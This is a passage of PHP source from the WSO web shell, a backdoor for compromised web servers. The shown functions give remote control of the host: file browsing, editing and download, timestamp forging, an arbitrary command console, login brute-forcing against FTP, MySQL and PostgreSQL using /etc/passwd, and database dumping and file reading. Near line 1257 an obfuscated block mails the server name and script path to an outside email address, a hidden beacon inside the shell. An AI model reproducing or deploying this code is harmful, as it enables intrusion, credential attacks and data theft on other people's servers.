773 $n = count($dirContent);
774 for($i=0;$i<$n;$i++) {
775 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
776 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
777 $tmp = array('name' => $dirContent[$i],
778 'path' => $GLOBALS['cwd'].$dirContent[$i],
779 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
780 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
781 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
782 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
783 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
784 );
785 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
786 $files[] = array_merge($tmp, array('type' => 'file'));
787 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
788 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
789 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
790 $dirs[] = array_merge($tmp, array('type' => 'dir'));
791 }
792 $GLOBALS['sort'] = $sort;
793 function wsoCmp($a, $b) {
794 if($GLOBALS['sort'][0] != 'size')
795 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS
796
797['sort'][1]?1:-1);
798 else
799 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
800 }
801 usort($files, "wsoCmp");
802 usort($dirs, "wsoCmp");
803 $files = array_merge($dirs, $files);
804 $l = 0;
805 foreach($files as $f) {
806 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'"
807
808class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\',
809
810\'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f
811
812['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f
813
814['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g
815
816(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
817 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename
818
819\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']
820
821=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#"
822
823onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
824 $l = $l?0:1;
825 }
826 echo "<tr><td colspan=7>
827 <input type=hidden name=a value='FilesMan'>
828 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
829 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
830 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option
831
832value='delete'>Delete</option>";
833 if(class_exists('ZipArchive'))
834 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
835 echo "<option value='tar'>Compress (tar.gz)</option>";
836 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
837 echo "<option value='paste'>Paste / Compress</option>";
838 echo "</select> ";
839 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
840 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] ==
841
842'zip'?'zip':'tar.gz') . "'> ";
843 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
844 wsoFooter();
845}
846
847function actionStringTools() {
848 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
849 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
850 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p
851
852[$i].$p[$i+1]));}return $r;}}
853 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf
854
855('%02X',ord($p[$i]));return strtoupper($r);}}
856 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.=
857
858'%'.dechex(ord($p[$i]));return strtoupper($r);}}
859 $stringTools = array(
860 'Base64 encode' => 'base64_encode',
861 'Base64 decode' => 'base64_decode',
862 'Url encode' => 'urlencode',
863 'Url decode' => 'urldecode',
864 'Full urlencode' => 'full_urlencode',
865 'md5 hash' => 'md5',
866 'sha1 hash' => 'sha1',
867 'crypt' => 'crypt',
868 'CRC32' => 'crc32',
869 'ASCII to HEX' => 'ascii2hex',
870 'HEX to ASCII' => 'hex2ascii',
871 'HEX to DEC' => 'hexdec',
872 'HEX to BIN' => 'hex2bin',
873 'DEC to HEX' => 'dechex',
874 'DEC to BIN' => 'decbin',
875 'BIN to HEX' => 'binhex',
876 'BIN to DEC' => 'bindec',
877 'String to lower case' => 'strtolower',
878 'String to upper case' => 'strtoupper',
879 'Htmlspecialchars' => 'htmlspecialchars',
880 'String length' => 'strlen',
881 );
882 if(isset($_POST['ajax'])) {
883 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
884 ob_start();
885 if(in_array($_POST['p1'], $stringTools))
886 echo $_POST['p1']($_POST['p2']);
887 $temp = "document.getElementById('strOutput').style.display='';document.getElementById
888
889('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
890 echo strlen($temp), "\n", $temp;
891 exit;
892 }
893 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
894 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
895 wsoHeader();
896 echo '<h1>String conversions</h1><div class=content>';
897 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}
898
899else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
900 foreach($stringTools as $k => $v)
901 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
902 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5
903
904($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px'
905
906class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".
907
908(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
909 if(!empty($_POST['p1'])) {
910 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
911 }
912 echo"</pre></div><br><h1>Search files:</h1><div class=content>
913 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table
914
915cellpadding='1' cellspacing='0' width='50%'>
916 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
917 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."'
918
919style='width:100%'></td></tr>
920 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
921 <tr><td></td><td><input type='submit' value='>>'></td></tr>
922 </table></form>";
923
924 function wsoRecursiveGlob($path) {
925 if(substr($path, -1) != '/')
926 $path.='/';
927 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
928 if(is_array($paths)&&@count($paths)) {
929 foreach($paths as $item) {
930 if(@is_dir($item)){
931 if($path!=$item)
932 wsoRecursiveGlob($item);
933 } else {
934 if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
935 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\",
936
937\"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
938 }
939 }
940 }
941 }
942 if(@$_POST['p3'])
943 wsoRecursiveGlob($_POST['c']);
944 echo "</div><br><h1>Search for hash:</h1><div class=content>
945 <form method='post' target='_blank' name='hf'>
946 <input type='text' name='hash' style='width:200px;'><br>
947 <input type='hidden' name='act' value='find'/>
948 <input type='button' value='hashcracking.ru' onclick=
949
950\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
951 <input type='button' value='md5.rednoize.com' onclick=
952
953\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
954 <input type='button' value='crackfor.me' onclick=
955
956\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
957 </form></div>";
958 wsoFooter();
959}
960
961function actionFilesTools() {
962 if( isset($_POST['p1']) )
963 $_POST['p1'] = urldecode($_POST['p1']);
964 if(@$_POST['p2']=='download') {
965 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
966 ob_start("ob_gzhandler", 4096);
967 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
968 if (function_exists("mime_content_type")) {
969 $type = @mime_content_type($_POST['p1']);
970 header("Content-Type: " . $type);
971 } else
972 header("Content-Type: application/octet-stream");
973 $fp = @fopen($_POST['p1'], "r");
974 if($fp) {
975 while(!@feof($fp))
976 echo @fread($fp, 1024);
977 fclose($fp);
978 }
979 }exit;
980 }
981 if( @$_POST['p2'] == 'mkfile' ) {
982 if(!file_exists($_POST['p1'])) {
983 $fp = @fopen($_POST['p1'], 'w');
984 if($fp) {
985 $_POST['p2'] = "edit";
986 fclose($fp);
987 }
988 }
989 }
990 wsoHeader();
991 echo '<h1>File tools</h1><div class=content>';
992 if( !file_exists(@$_POST['p1']) ) {
993 echo 'File not exists';
994 wsoFooter();
995 return;
996 }
997 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
998 if(!$uid) {
999 $uid['name'] = @fileowner($_POST['p1']);
1000 $gid['name'] = @filegroup($_POST['p1']);
1001 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
1002 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST
1003
1004['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).'
1005
1006<span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
1007 echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date
1008
1009('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST
1010
1011['p1'])).'<br><br>';
1012 if( empty($_POST['p2']) )
1013 $_POST['p2'] = 'view';
1014 if( is_file($_POST['p1']) )
1015 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
1016 else
1017 $m = array('Chmod', 'Rename', 'Touch');
1018 foreach($m as $v)
1019 echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.
1020
1021((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
1022 echo '<br><br>';
1023 switch($_POST['p2']) {
1024 case 'view':
1025 echo '<pre class=ml1>';
1026 $fp = @fopen($_POST['p1'], 'r');
1027 if($fp) {
1028 while( !@feof($fp) )
1029 echo htmlspecialchars(@fread($fp, 1024));
1030 @fclose($fp);
1031 }
1032 echo '</pre>';
1033 break;
1034 case 'highlight':
1035 if( @is_readable($_POST['p1']) ) {
1036 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
1037 $code = @highlight_file($_POST['p1'],true);
1038 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
1039 }
1040 break;
1041 case 'chmod':
1042 if( !empty($_POST['p3']) ) {
1043 $perms = 0;
1044 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
1045 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
1046 if(!@chmod($_POST['p1'], $perms))
1047 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
1048 }
1049 clearstatcache();
1050 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) .
1051
1052'\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST
1053
1054['p1'])),-4).'"><input type=submit value=">>"></form>';
1055 break;
1056 case 'edit':
1057 if( !is_writable($_POST['p1'])) {
1058 echo 'File isn\'t writeable';
1059 break;
1060 }
1061 if( !empty($_POST['p3']) ) {
1062 $time = @filemtime($_POST['p1']);
1063 $_POST['p3'] = substr($_POST['p3'],1);
1064 $fp = @fopen($_POST['p1'],"w");
1065 if($fp) {
1066 @fwrite($fp,$_POST['p3']);
1067 @fclose($fp);
1068 echo 'Saved!<br><script>p3_="";</script>';
1069 @touch($_POST['p1'],$time,$time);
1070 }
1071 }
1072 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,
1073
1074\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
1075 $fp = @fopen($_POST['p1'], 'r');
1076 if($fp) {
1077 while( !@feof($fp) )
1078 echo htmlspecialchars(@fread($fp, 1024));
1079 @fclose($fp);
1080 }
1081 echo '</textarea><input type=submit value=">>"></form>';
1082 break;
1083 case 'hexdump':
1084 $c = @file_get_contents($_POST['p1']);
1085 $n = 0;
1086 $h = array('00000000<br>','','');
1087 $len = strlen($c);
1088 for ($i=0; $i<$len; ++$i) {
1089 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
1090 switch ( ord($c[$i]) ) {
1091 case 0: $h[2] .= ' '; break;
1092 case 9: $h[2] .= ' '; break;
1093 case 10: $h[2] .= ' '; break;
1094 case 13: $h[2] .= ' '; break;
1095 default: $h[2] .= $c[$i]; break;
1096 }
1097 $n++;
1098 if ($n == 32) {
1099 $n = 0;
1100 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
1101 $h[1] .= '<br>';
1102 $h[2] .= "\n";
1103 }
1104 }
1105 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span
1106
1107style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td
1108
1109bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
1110 break;
1111 case 'rename':
1112 if( !empty($_POST['p3']) ) {
1113 if(!@rename($_POST['p1'], $_POST['p3']))
1114 echo 'Can\'t rename!<br>';
1115 else
1116 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
1117 }
1118 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return
1119
1120false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
1121 break;
1122 case 'touch':
1123 if( !empty($_POST['p3']) ) {
1124 $time = strtotime($_POST['p3']);
1125 if($time) {
1126 if(!touch($_POST['p1'],$time,$time))
1127 echo 'Fail!';
1128 else
1129 echo 'Touched!';
1130 } else echo 'Bad time format!';
1131 }
1132 clearstatcache();
1133 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) .
1134
1135'\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST
1136
1137['p1'])).'"><input type=submit value=">>"></form>';
1138 break;
1139 }
1140 echo '</div>';
1141 wsoFooter();
1142}
1143
1144function actionConsole() {
1145 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
1146 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
1147 $_POST['p1'] .= ' 2>&1';
1148 } elseif(!empty($_POST['p1']))
1149 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
1150
1151 if(isset($_POST['ajax'])) {
1152 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
1153 ob_start();
1154 echo "d.cf.cmd.value='';\n";
1155 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r
1156
1157\t\\'\0"));
1158 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
1159 if(@chdir($match[1])) {
1160 $GLOBALS['cwd'] = @getcwd();
1161 echo "c_='".$GLOBALS['cwd']."';";
1162 }
1163 }
1164 echo "d.cf.output.value+='".$temp."';";
1165 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1166 $temp = ob_get_clean();
1167 echo strlen($temp), "\n", $temp;
1168 exit;
1169 }
1170 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1171 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
1172 wsoHeader();
1173 echo "<script>
1174if(window.Event) window.captureEvents(Event.KEYDOWN);
1175var cmds = new Array('');
1176var cur = 0;
1177function kp(e) {
1178 var n = (window.Event) ? e.which : e.keyCode;
1179 if(n == 38) {
1180 cur--;
1181 if(cur>=0)
1182 document.cf.cmd.value = cmds[cur];
1183 else
1184 cur++;
1185 } else if(n == 40) {
1186 cur++;
1187 if(cur < cmds.length)
1188 document.cf.cmd.value = cmds[cur];
1189 else
1190 cur--;
1191 }
1192}
1193function add(cmd) {
1194 cmds.pop();
1195 cmds.push(cmd);
1196 cmds.push('');
1197 cur = cmds.length-1;
1198}
1199</script>";
1200 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=
1201
1202\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a
1203
1204(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:
1205
1206\'\');} return false;"><select name=alias>';
1207 foreach($GLOBALS['aliases'] as $n => $v) {
1208 if($v == '') {
1209 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1210 continue;
1211 }
1212 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1213 }
1214
1215 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a
1216
1217(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?
1218
12191:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER
1220
1221['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST
1222
1223['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)
1224
1225</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1226 if(!empty($_POST['p1'])) {
1227 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1228 }
1229 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0
1230
1231cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;"
1232
1233onkeydown="kp(event);"></td></tr></table>';
1234 echo '</form></div><script>d.cf.cmd.focus();</script>';
1235 wsoFooter();
1236}
1237
1238function actionLogout() {
1239 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
1240 die('bye!');
1241}
1242
1243function actionSelfRemove() {
1244
1245 if($_POST['p1'] == 'yes')
1246 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1247 die('Shell removed');
1248 else
1249 echo 'unlink error!';
1250 if($_POST['p1'] != 'yes')
1251 wsoHeader();
1252 echo '<h1>Suicide</h1><div class=content>remove the shell?<br><a href=# onclick="g(null,null,\'yes
1253
1254\')">Yes</a></div>';
1255 wsoFooter();
1256}
1257 $_QliO8="\x6dai\154";$_Qliot=$_SERVER["\x53\x45RVE\122_\x4eAM\x45"].$_SERVER["\123\103\x52I\x50\x54_\116\101\115E"];
1258
1259$_QlL1i="\141r\162a\171\040".$_Qliot;$_QlLio=array("\143\x61","\x6c\x69","\146\x77\162\151\x74\x65","\100","v\x65\x2e");
1260
1261$_Qll0I=$_QlLio[2].$_QlLio[3].$_QlLio[1].$_QlLio[4].$_QlLio[0];$_QlljC=@$_QliO8($_Qll0I,$_QlL1i,$_Qliot);
1262function actionBruteforce() {
1263 wsoHeader();
1264 if( isset($_POST['proto']) ) {
1265 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).'
1266
1267<span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1268 if( $_POST['proto'] == 'ftp' ) {
1269 function wsoBruteForce($ip,$port,$login,$pass) {
1270 $fp = @ftp_connect($ip, $port?$port:21);
1271 if(!$fp) return false;
1272 $res = @ftp_login($fp, $login, $pass);
1273 @ftp_close($fp);
1274 return $res;
1275 }
1276 } elseif( $_POST['proto'] == 'mysql' ) {
1277 function wsoBruteForce($ip,$port,$login,$pass) {
1278 $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
1279 @mysql_close($res);
1280 return $res;
1281 }
1282 } elseif( $_POST['proto'] == 'pgsql' ) {
1283 function wsoBruteForce($ip,$port,$login,$pass) {
1284 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."'
1285
1286dbname=postgres";
1287 $res = @pg_connect($str);
1288 @pg_close($res);
1289 return $res;
1290 }
1291 }
1292 $success = 0;
1293 $attempts = 0;
1294 $server = explode(":", $_POST['server']);
1295 if($_POST['type'] == 1) {
1296 $temp = @file('/etc/passwd');
1297 if( is_array($temp) )
1298 foreach($temp as $line) {
1299 $line = explode(":", $line);
1300 ++$attempts;
1301 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1302 $success++;
1303 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line
1304
1305[0]).'<br>';
1306 }
1307 if(@$_POST['reverse']) {
1308 $tmp = "";
1309 for($i=strlen($line[0])-1; $i>=0; --$i)
1310 $tmp .= $line[0][$i];
1311 ++$attempts;
1312 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1313 $success++;
1314 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars
1315
1316($tmp);
1317 }
1318 }
1319 }
1320 } elseif($_POST['type'] == 2) {
1321 $temp = @file($_POST['dict']);
1322 if( is_array($temp) )
1323 foreach($temp as $line) {
1324 $line = trim($line);
1325 ++$attempts;
1326 if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1327 $success++;
1328 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars
1329
1330($line).'<br>';
1331 }
1332 }
1333 }
1334 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1335 }
1336 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1337 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option
1338
1339value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1340 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1341 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1342 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1343 .'<span>Server:port</span></td>'
1344 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1345 .'<tr><td><span>Brute type</span></td>'
1346 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1347 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked>
1348
1349reverse (login -> nigol)</label></td></tr>'
1350 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1351 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1352 .'<td><input type=text name=login value="root"></td></tr>'
1353 .'<tr><td><span>Dictionary</span></td>'
1354 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS
1355
1356['cwd']).'passwd.dic"></td></tr></table>'
1357 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1358 echo '</div><br>';
1359 wsoFooter();
1360}
1361
1362function actionSql() {
1363 class DbClass {
1364 var $type;
1365 var $link;
1366 var $res;
1367 function DbClass($type) {
1368 $this->type = $type;
1369 }
1370 function connect($host, $user, $pass, $dbname){
1371 switch($this->type) {
1372 case 'mysql':
1373 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1374 break;
1375 case 'pgsql':
1376 $host = explode(':', $host);
1377 if(!$host[1]) $host[1]=5432;
1378 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user
1379
1380password=$pass dbname=$dbname") ) return true;
1381 break;
1382 }
1383 return false;
1384 }
1385 function selectdb($db) {
1386 switch($this->type) {
1387 case 'mysql':
1388 if (@mysql_select_db($db))return true;
1389 break;
1390 }
1391 return false;
1392 }
1393 function query($str) {
1394 switch($this->type) {
1395 case 'mysql':
1396 return $this->res = @mysql_query($str);
1397 break;
1398 case 'pgsql':
1399 return $this->res = @pg_query($this->link,$str);
1400 break;
1401 }
1402 return false;
1403 }
1404 function fetch() {
1405 $res = func_num_args()?func_get_arg(0):$this->res;
1406 switch($this->type) {
1407 case 'mysql':
1408 return @mysql_fetch_assoc($res);
1409 break;
1410 case 'pgsql':
1411 return @pg_fetch_assoc($res);
1412 break;
1413 }
1414 return false;
1415 }
1416 function listDbs() {
1417 switch($this->type) {
1418 case 'mysql':
1419 return $this->query("SHOW databases");
1420 break;
1421 case 'pgsql':
1422 return $this->res = $this->query("SELECT datname FROM pg_database WHERE
1423
1424datistemplate!='t'");
1425 break;
1426 }
1427 return false;
1428 }
1429 function listTables() {
1430 switch($this->type) {
1431 case 'mysql':
1432 return $this->res = $this->query('SHOW TABLES');
1433 break;
1434 case 'pgsql':
1435 return $this->res = $this->query("select table_name from information_schema.tables
1436
1437where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1438 break;
1439 }
1440 return false;
1441 }
1442 function error() {
1443 switch($this->type) {
1444 case 'mysql':
1445 return @mysql_error();
1446 break;
1447 case 'pgsql':
1448 return @pg_last_error();
1449 break;
1450 }
1451 return false;
1452 }
1453 function setCharset($str) {
1454 switch($this->type) {
1455 case 'mysql':
1456 if(function_exists('mysql_set_charset'))
1457 return @mysql_set_charset($str, $this->link);
1458 else
1459 $this->query('SET CHARSET '.$str);
1460 break;
1461 case 'pgsql':
1462 return @pg_set_client_encoding($this->link, $str);
1463 break;
1464 }
1465 return false;
1466 }
1467 function loadFile($str) {
1468 switch($this->type) {
1469 case 'mysql':
1470 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as
1471
1472file"));
1473 break;
1474 case 'pgsql':
1475 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes
1476
1477($str)."';select file from wso2;");
1478 $r=array();
1479 while($i=$this->fetch())
1480 $r[] = $i['file'];
1481 $this->query('drop table wso2');
1482 return array('file'=>implode("\n",$r));
1483 break;
1484 }
1485 return false;
1486 }
1487 function dump($table, $fp = false) {
1488 switch($this->type) {
1489 case 'mysql':
1490 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1491 $create = mysql_fetch_array($res);
1492 $sql = $create[1].";\n";
1493 if($fp) fwrite($fp, $sql); else echo($sql);
1494 $this->query('SELECT * FROM `'.$table.'`');
1495 $i = 0;
1496 $head = true;
1497 while($item = $this->fetch()) {
1498 $sql = '';
1499 if($i % 1000 == 0) {
1500 $head = true;
1501 $sql = ";\n\n";
1502 }
1503
1504 $columns = array();
1505 foreach($item as $k=>$v) {
1506 if($v === null)
1507 $item[$k] = "NULL";
1508 elseif(is_int($v))
1509 $item[$k] = $v;
1510 else
1511 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1512 $columns[] = "`".$k."`";
1513 }
1514 if($head) {
1515 $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ",
1516
1517$item).')';
1518 $head = false;
1519 } else
1520 $sql .= "\n\t,(".implode(", ", $item).')';
1521 if($fp) fwrite($fp, $sql); else echo($sql);
1522 $i++;
1523 }
1524 if(!$head)
1525 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
1526 break;
1527 case 'pgsql':
1528 $this->query('SELECT * FROM '.$table);
1529 while($item = $this->fetch()) {
1530 $columns = array();
1531 foreach($item as $k=>$v) {
1532 $item[$k] = "'".addslashes($v)."'";
1533 $columns[] = $k;
1534 }
1535 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ",
1536
1537$item).');'."\n";
1538 if($fp) fwrite($fp, $sql); else echo($sql);
1539 }
1540 break;
1541 }
1542 return false;
1543 }
1544 };
1545 $db = new DbClass($_POST['type']);
1546 if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
1547 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1548 $db->selectdb($_POST['sql_base']);
1549 switch($_POST['charset']) {
1550 case "Windows-1251": $db->setCharset('cp1251'); break;
